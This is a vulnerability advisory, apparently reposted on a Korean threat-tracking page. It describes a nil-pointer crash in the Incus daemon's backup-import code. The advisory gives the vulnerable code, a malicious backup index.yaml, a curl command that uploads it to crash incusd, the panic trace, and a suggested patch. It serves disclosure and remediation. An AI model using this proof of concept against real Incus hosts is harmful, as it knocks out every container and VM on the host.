Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool}
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS 벡터 정보 없음
상세 설명
Summary
(*backend).createDependentVolumesFromBackup in internal/server/storage/backend.go contains a cluster of unguarded pointer derefs on every dependent-volume entry's VolumeSnapshots[i], Volume, and Pool sub-fields. An authenticated user with can_create_instances permission on any project can crash the incusd daemon by uploading an instance backup tarball whose dependent_volumes[*] block contains a nil snapshot pointer (or omits volume: / pool:).
This is a sibling-field variant of the 2026-05-04 batch fix d768f81c0a1d985f35ae56219519822b080bf5e3 ("Properly check dependent volumes on import"). That commit added if disk == nil at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.
Vulnerable code
internal/server/storage/backend.go:9352-9412:
1func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error { 2 ... 3 for _, disk := range srcBackup.Config.DependentVolumes { 4 if disk == nil { // ← d768f81 parent fix 5 return errors.New("Bad dependent volume definition found in index") 6 } 7 ... 8 snapshots := []string{} 9 for _, snap := range disk.VolumeSnapshots {10 snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil11 }12 13 bInfo := backup.Info{14 Project: disk.Volume.Project, // ← disk.Volume may be nil15 Name: disk.Volume.Name,16 Backend: disk.Pool.Driver, // ← disk.Pool may be nil17 Pool: disk.Pool.Name,18 ...19 }20 ...21 devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)22 ...23 }24}disk has type *config.Config (declared in internal/server/backup/config/backup_config.go:8). Its Volume field is *api.StorageVolume, Pool is *api.StoragePool, VolumeSnapshots is []*api.StorageVolumeSnapshot — all yaml omitempty. YAML omission decodes to nil for each.
The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.
Reach
- Attacker is an authenticated client with
can_create_instanceson any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753. POST /1.0/instanceswithContent-Type: application/octet-streamandX-Incus-name: <name>.- Body is a tar containing
backup/index.yamlwhoseconfig:block has a non-nilcontainer:(passesinstances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil) and adependent_volumes:list with a malformed entry. - Chain:
instancesPost->createFromBackup:854(Container guard passes) ->pool.CreateInstanceFromBackup->backend.go:782 b.createDependentVolumesFromBackup->backend.go:9374 snap.Namepanics on the nil*api.StorageVolumeSnapshotelement. incusddies. Persistent DoS on repeat.
Minimal backup/index.yaml (used in the bundled PoC):
1name: poc-inst 2backend: dir 3pool: default 4type: container 5optimized: false 6optimized_header: false 7snapshots: [] 8config: 9 container:10 name: poc-inst11 architecture: x86_6412 type: container13 profiles: ["default"]14 config: {}15 devices: {}16 expanded_devices:17 depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}18 expanded_config: {}19 dependent_volumes:20 - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}21 pool: {name: default, driver: dir, config: {}}22 volume_snapshots:23 - ~ # explicit null entry → snap.Name at 9374 panics(The container block must declare at least one device with type: disk, dependent: "true", pool != "", path != "/" to populate devicesMap and reach the second loop. Trivially satisfiable.)
An equivalent triggering YAML omits volume: or pool: from the dependent_volumes entry; in that case disk.Volume.Project at 9378 panics instead.
Proof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + 666-byte poc-inst.tar.gz.
Tested against incus 7.0.0 (zabbly latest GA, build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with default dir pool.
1$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \ 2 --data-binary @/tmp/poc-inst.tar.gz \ 3 -H 'Content-Type: application/octet-stream' \ 4 -H 'X-Incus-name: poc-inst' \ 5 http://incus/1.0/instances 6{"type":"async","status":"Operation created","status_code":100,...} 7 8$ ps -ef | grep incusd | grep -v grep # process goneDaemon panic:
1panic: runtime error: invalid memory address or nil pointer dereference 2[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc] 3 4goroutine 257 [running]: 5github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...) 6 /build/incus/internal/server/storage/backend.go:9374 +0x42c 7github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...) 8 /build/incus/internal/server/storage/backend.go:782 +0x660 9main.createFromBackup.func8(...)10 /build/incus/cmd/incusd/instances_post.go:989 +0x2ac11github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)12 /build/incus/internal/server/operations/operations.go:307 +0x2cStack frame backend.go:9374 is the literal snap.Name line.
Impact
- Severity: denial of service against the entire
incusdprocess. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with
can_create_instanceson any project. Not behind the admin tier. - Network attack surface: the Incus REST API on
:8443or the unix socket. - CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
- Versions: v7.0.0 confirmed. The
dependent_volumesfeature did not exist in v6.x, so the vulnerable code is v7-only.
Suggested fix
1--- a/internal/server/storage/backend.go 2+++ b/internal/server/storage/backend.go 3@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error { 4 for _, disk := range srcBackup.Config.DependentVolumes { 5 if disk == nil { 6 return errors.New("Bad dependent volume definition found in index") 7 } 8+ 9+ if disk.Volume == nil || disk.Pool == nil {10+ return errors.New("Bad dependent volume definition: missing volume or pool")11+ }12+13+ for _, snap := range disk.VolumeSnapshots {14+ if snap == nil {15+ return errors.New("Bad dependent volume snapshot definition")16+ }17+ }18+19 optimizedStorage := srcBackup.OptimizedStorage20 optimizedHeader := srcBackup.OptimizedHeader21 22 snapshots := []string{}23 for _, snap := range disk.VolumeSnapshots {24 snapshots = append(snapshots, snap.Name)25 }Reporter notes
Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.